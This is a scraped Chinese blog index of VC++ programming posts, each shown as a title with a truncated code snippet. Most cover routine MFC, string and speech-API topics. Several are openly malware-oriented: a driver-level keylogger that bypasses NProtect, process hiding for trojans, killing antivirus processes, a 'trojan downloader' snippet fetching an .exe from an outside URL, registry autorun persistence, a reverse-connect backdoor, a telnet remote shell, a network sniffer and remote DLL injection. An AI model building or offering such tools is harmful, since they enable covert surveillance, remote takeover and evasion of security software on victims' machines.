
VC++编程技术
文章平均质量分 80
尹成
尹成微信18510341407,助理微信18514203048
展开
-
识别简单的数字,字母的手写识别框架
// patternDlg.cpp : implementation file // #include "stdafx.h" #include "pattern.h" #include "patternDlg.h" #include "Afxwin.h" #include "Afxdlgs.h" #include原创 2008-12-27 00:04:00 · 11340 阅读 · 22 评论 -
看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录
NProtect,是用驱动加载进入ring0级别,每个进程注入一个钩子,用键盘中断技术写的一个钩子,本人就用驱动对付他,废话少说,看代码, //#include #include "kbhook.h"#include "ScanCode.h"#include int numPendingIrps=0;////ICTOL 以及控制设备的相关变量//#define IOCTL原创 2008-12-27 00:18:00 · 24616 阅读 · 102 评论 -
一套基于模板匹配的语音识别技术。提取语音的特征,并建立模板库,可以将语音识别技术应用于机器人
视图类,废话少说,看看带注释的源码#include "stdafx.h" #include "robot.h" #include"Label.h" #include "robotDoc.h" #include "robotView.h" #ifdef _DEBUG #define new DEBUG_NEW原创 2008-12-27 22:04:00 · 27189 阅读 · 5 评论 -
vc++经典技巧总结
1."属性页的添加:创建对话框的类,该类要从CpropertyPage继承;然后在要添加该对话框为属性页的类(头文件)里创建CpropertySheet类的一个对象m_tabsheet和新创建的对话框类的对象m_skatch;最后,在.cpp文件里的OnInitDialog()之类的函数里实现如下代码:m_tabsheet.Create(this, WS_CHILD | WS_VISIBL原创 2008-12-31 12:23:00 · 45092 阅读 · 5 评论 -
VC++界面编程总结
一、改变视图背景色: 在CView的OnDraw函数中添写如下一段程序代码: void CFileNameView::OnDraw(CDC* pDC) {CFileNameDoc* pDoc = GetDocument();ASSERT_VALID(pDoc);CRect rectClient;CBrush brushBkColor;GetClientRect(rectClie原创 2008-12-31 12:22:00 · 31957 阅读 · 0 评论 -
vc++常用函数方法
一、打开CD-ROM mciSendString("Set cdAudio door open wait",NULL,0,NULL); 二、关闭CD_ROM mciSendString("Set cdAudio door closed wait",NULL,0,NULL); 三、关闭计算机 OSVERSIONINFO OsVersionInfo; //包含操作系统版本信息的数据结构转载 2008-12-31 12:29:00 · 21731 阅读 · 0 评论 -
木马编写小技巧
1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include #include int main(int argc, char* argv[]){ printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n"); RECT rect; rect.bottom=1; rect.right=1; ClipCursor(&rect); ::Sleep转载 2008-12-31 12:26:00 · 22863 阅读 · 11 评论 -
VC++常用数据类型
一. VC常用数据类型列表二. 常用数据类型转化2.1数学类型变量与字符串相互转换2.2 CString及string,char *与其他数据类型的转换和操作●CString,string,char*的综合比较●数学类型与CString相互转化●CString与char*相互转换举例●CStrin转载 2008-12-31 12:20:00 · 12980 阅读 · 2 评论 -
基于vc++2008托管代码开发Windows Vista语音识别
废话少说看代码#pragma once#include "Window1.g.h"#include "Resources.Designer.h"using namespace System;using namespace System::Collections::Generic;using namespace System::Text;using namespace System::Win原创 2009-01-06 11:34:00 · 29181 阅读 · 10 评论 -
基于vc++2008托管代码开发Windows Vista语音朗读
闲的无聊,锻炼一下托管c++,看代码#pragma once#include "Window1.g.h"using namespace System;using namespace System::Collections::Generic;using namespace System::Text;using namespace System::Windows;using namesp原创 2009-01-06 11:37:00 · 30975 阅读 · 2 评论 -
SDI实现多视图并切换视图
首先在H文件有如下声明:class CMultiViewApp : public CWinApp{public: CView* m_pFirstView; CView* m_pOtherView; int m_currentView; CView* m_pView2; CView* m_pView1;翻译 2009-01-06 08:41:00 · 21387 阅读 · 0 评论 -
MFC指针的获取
1、获取应用程序指针CMyApp* pApp=(CMyApp*)AfxGetApp();2、获取主框架指针CWinApp 中的公有成员变量 m_pMainWnd 就是主框架的指针CMainFrame* pMainFrame = (CMainFrame*)(AfxGetApp()->m_pMainWnd);或者CMainFrame* pMainFrame = (CMainFrame*)AfxGe原创 2009-01-06 08:42:00 · 29205 阅读 · 0 评论 -
VC++引用指南
引用是C++引入的新语言特性,是C++常用的一个重要内容之一,正确、灵活地使用引用,可以使程序简洁、高效。我在工作中发现,许多人使用它仅仅是想当然,在某些微妙的场合,很容易出错,究其原由,大多因为没有搞清本源。故在本篇中我将对引用进行详细讨论,希望对大家更好地理解和使用引用起到抛砖引玉的作用。 一、引用简介 引用就是某一变量(目标)的一个别名,对引用的操作与对变量直接操作完全一样。翻译 2009-01-13 17:46:00 · 5862 阅读 · 0 评论 -
解决visual c++2005/2008下的不兼容sphelper.h的问题
VC8.0 以后里面是不支持 默认int型的VC8.0以后里面不支持这样的for循环for(int i = 0; i> 10 ; i++){ ......} 不能在循环括号内定义变量,而应该改成:int i ;forint (i = 0; i> 10 ; i++){ ......} 1) 2560行 SPPH原创 2009-02-09 14:11:00 · 4939 阅读 · 1 评论 -
基于Windows Sdk 与visual C++2008 在微软平台上构架自己的语音识别引擎(适用于windows 2000/xp2003/vista windows CE /mobile),本项目开源,源码请留下你们的Email,我给大家发
基于Windows Sdk 与visual C++2008 在微软平台上构架自己的语音识别引擎(适用于windows 2000/xp2003/vista windows CE /mobile),本项目开源,源码请留下你们的Email,我给大家发 本人闲来无事,自行开发了一个小型的语音识别引擎,搭建起在微软平台上的语音识别框架服务体系,鉴于本人个人力量有限,为了将语音识别引擎做的功能原创 2009-02-11 21:31:00 · 23922 阅读 · 312 评论 -
基于Windows Sdk 与visual C++2008 在微软平台上构架自己的语音朗读引擎(适用于windows 2000/xp2003/vista windows CE /mobile),本项目开源,源码请留下你们的Email,我给大家发
本人闲来无事,自行开发了一个小型的语音朗读引擎,搭建起在微软平台上的语音朗读框架服务体系,鉴于本人个人力量有限,为了将语音朗读引擎做的功能更加强悍,强大,现在将该系统开源,需要源码的请在本人优快云博客下留下EMail,本系统属于系统框架,搭建起一个语音朗读的引擎服务框架,在微软平台上畅通无阻, 现在将本系统构架公布一下,并贴出相关核心源码,源码体积为27M,编译后为1原创 2009-02-11 22:32:00 · 32447 阅读 · 182 评论 -
一个vc++ direct sound播放wav文件的类
头文件#if !defined(AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_) #define AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_ #if _MSC_VER >= 1000 #pragma once #end原创 2009-02-24 15:44:00 · 6098 阅读 · 0 评论 -
一个解决VC++程序国际化的类,解决乱码问题
#include "stdafx.h"#include "global.hpp"//---------------------------------------------------------------------------// Description: generate an error message//--------------------------------------原创 2008-12-14 17:37:00 · 3248 阅读 · 0 评论 -
一个VC++字体通用的类
#include "stdafx.h"#include "font.h"/////////////////////////////////////////////////////////////////////////////// COleFont propertiesCString COleFont::GetName(){ CString result; GetProperty(0x0,原创 2008-12-14 17:54:00 · 2666 阅读 · 0 评论 -
CString 使用详解
CString::MakeUppervoid MakeUpper( );Remarks备注Converts this CString object to an uppercase string.将原对象的所有小写英文字母转换为大写。(只是将小写的英文字母转换为大写,对于其它的字符不做变化,例如:大写字符,数字,汉字)Example实例The following example de原创 2008-12-17 16:37:00 · 3409 阅读 · 1 评论 -
木马外挂技术,隐藏进程,为所欲为
在2000和xp下,隐藏进程 头文件:////////////////////////////////////////HideProcess.hBOOL HideProcess(); CPP源文件:///////////////////////////////////////////////////////////////////////////////HideProcess.cpp原创 2008-12-19 10:53:00 · 3961 阅读 · 3 评论 -
vc++等待,延时处理,进程并行所必须
如何在程序中延时方法一: 使用sleep函数,如延时2秒,用sleep(2000); 方法二: 使用sleep函数的不利在于延时期间不能处理其他的消息,如果时间太长,就好象死机一样,利用ColeDateTime类和ColeDateTimeSpan类实现延时就不会出现那样的问题:ColeDateTime start_time = ColeDateTime::GetCur原创 2008-12-19 10:57:00 · 3615 阅读 · 0 评论 -
WinAPI: ShellExecute - 打开外部程序或文件
WinAPI: ShellExecute - 打开外部程序或文件 ShellExecute( hWnd: HWND; {指定父窗口句柄} Operation: PChar; {指定动作, 譬如: open、print} FileName: PChar; {指定要打开的文件或程序} Parameters: PChar; {给要打开的程序指定参数; 如果打开翻译 2008-12-18 17:35:00 · 2626 阅读 · 0 评论 -
Windows API SHGetSpecialFolderPath的用法 ,获取特殊文件夹
BOOL SHGetSpecialFolderPath ( HWND hwndOwner, LPTSTR lpszPath, int nFolder, BOOL fCreate);示例: 获得自启动文件夹的路径 TCHAR filePath[MAX_PATH]; ::SHGetSp原创 2008-12-19 10:31:00 · 3948 阅读 · 0 评论 -
vc++ string处理大全
CString, BSTR, LPCTSTR之间得关系和区别 CString是一个动态TCHAR数组,BSTR是一种专有格式的字符串(需要用系统提供的函数来操纵,LPCTSTR只是一个常量的TCHAR指针。CString 是一个完全独立的类,动态的TCHAR数组,封装了 + 等操作符和字符串操作方法。typedef OLECHAR FAR* BSTR;typedef const char *转载 2008-12-22 11:20:00 · 2937 阅读 · 0 评论 -
内存中模拟目录和文件,软件资源保护新办法
项目中常常需要将中间结果进行保存, 以供后续步骤进行处理. 如果以临时文件的方式往往容易"暴露"中间机密信息. 同时,文件IO读写也较浪费时间(说到这里,不得不BS一下windows的文件系统,当一个目录下的文件数目超过10000时,读写文件相当慢,Linux却没有这样的问题). 面对上面情况,本人想到了内存机制: 如果中间结果数据不超过2G(32位windo转载 2008-12-22 11:52:00 · 2902 阅读 · 0 评论 -
VC++ 数据转换大全
int i = 100;long l = 2001;float f=300.2;double d=12345.119;char username[]="程佩君";char temp[200];char *buf;CString str;_variant_t v1;_bstr_t v2;一、其它数据类型转换为字符串短整型(int)itoa(i,temp,10);///将i转换为字符串放入te转载 2008-12-25 12:25:00 · 3026 阅读 · 0 评论 -
VC++2003/2005/2008 调用Mediaplayer的指南,
通过对CWMPPlayer4、CWMPSettings和CWMPControls等几个类的使用可以实现Windows Media Player的大部分常规功能,如果需要做进一步的控制,可以在用下面这些函数返回相关类对象后调用相关成员函数来加以实现: GetCurrentMedia() 返回CWMPMedia类对象 GetMediaCollection() 返回CWMPMediaColle原创 2008-12-24 17:39:00 · 14133 阅读 · 5 评论 -
VC++结束进程,干掉杀毒软件或者其他令人不爽的进程
void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("/nCreateToolhelp32Snapshot(原创 2009-03-29 18:13:00 · 4620 阅读 · 2 评论 -
vc++搭建一个NT服务框架
#include #include SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning=true;void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);//服务主函数void WINAPI ServiceCtrlHandler(原创 2009-03-29 18:15:00 · 2979 阅读 · 0 评论 -
vc++取得系统信息,并实时刷新
#include#includevoid GetSysInfo();DWORD GetOS() { OSVERSIONINFO os; os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&os); switch(os.dwPlatformId) { case VER_PLATFORM_WIN32_WINDOWS: retu原创 2009-03-29 18:16:00 · 4370 阅读 · 0 评论 -
vc++编写一个木马下载器,体积仅有0.3K
#include #pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d://abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!/n");} else { p原创 2009-03-29 18:17:00 · 3230 阅读 · 3 评论 -
vc++实现注册表自启动,木马用的比较多
#include #include int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetValueEx(hkResult,原创 2009-03-29 18:19:00 · 2748 阅读 · 0 评论 -
vc++创建一个进程
#includeint main(){STARTUPINFO si; //进程启动时需要初始化的结构PROCESS_INFORMATION pi; //进程启动后的有关信息si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si); si.wShowWindow = SW_SHOW;//这里设置窗口为显示,SW_HIDE为隐藏窗口si.dwFlags = STA原创 2009-03-29 18:21:00 · 2703 阅读 · 1 评论 -
vc++抓取系统用户名
#include #include #include #pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DWORD ret;char username[100] = "", passw原创 2009-03-29 18:22:00 · 3697 阅读 · 1 评论 -
vc++反向连接后门
#include#include#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "/r/n======================== BackConnect BackDoor V0.1 ========================/r/n========= Welc原创 2009-03-29 18:23:00 · 4217 阅读 · 0 评论 -
vc++telnet远程登录
#include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe原创 2009-03-29 18:24:00 · 4991 阅读 · 0 评论 -
vc++实现SNMP信息刺探程序
/*---------------------------------------SNMP信息刺探程序----------------------------------------*/#include #include #include #include #pragma comment(lib,"Mgmtapi.lib")#pragma comment(lib,"Snmpapi.l原创 2009-03-29 18:27:00 · 4075 阅读 · 1 评论 -
vc++实现网路嗅探
#include #include #include #pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位IP版本号 unsigned char ver:4; unsigned原创 2009-03-29 18:28:00 · 3140 阅读 · 1 评论 -
VC++远程插入dll代码
#include #include#include "resource.h"void WriteResourceToFile(char const *filename){ HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_原创 2009-03-29 18:29:00 · 2891 阅读 · 0 评论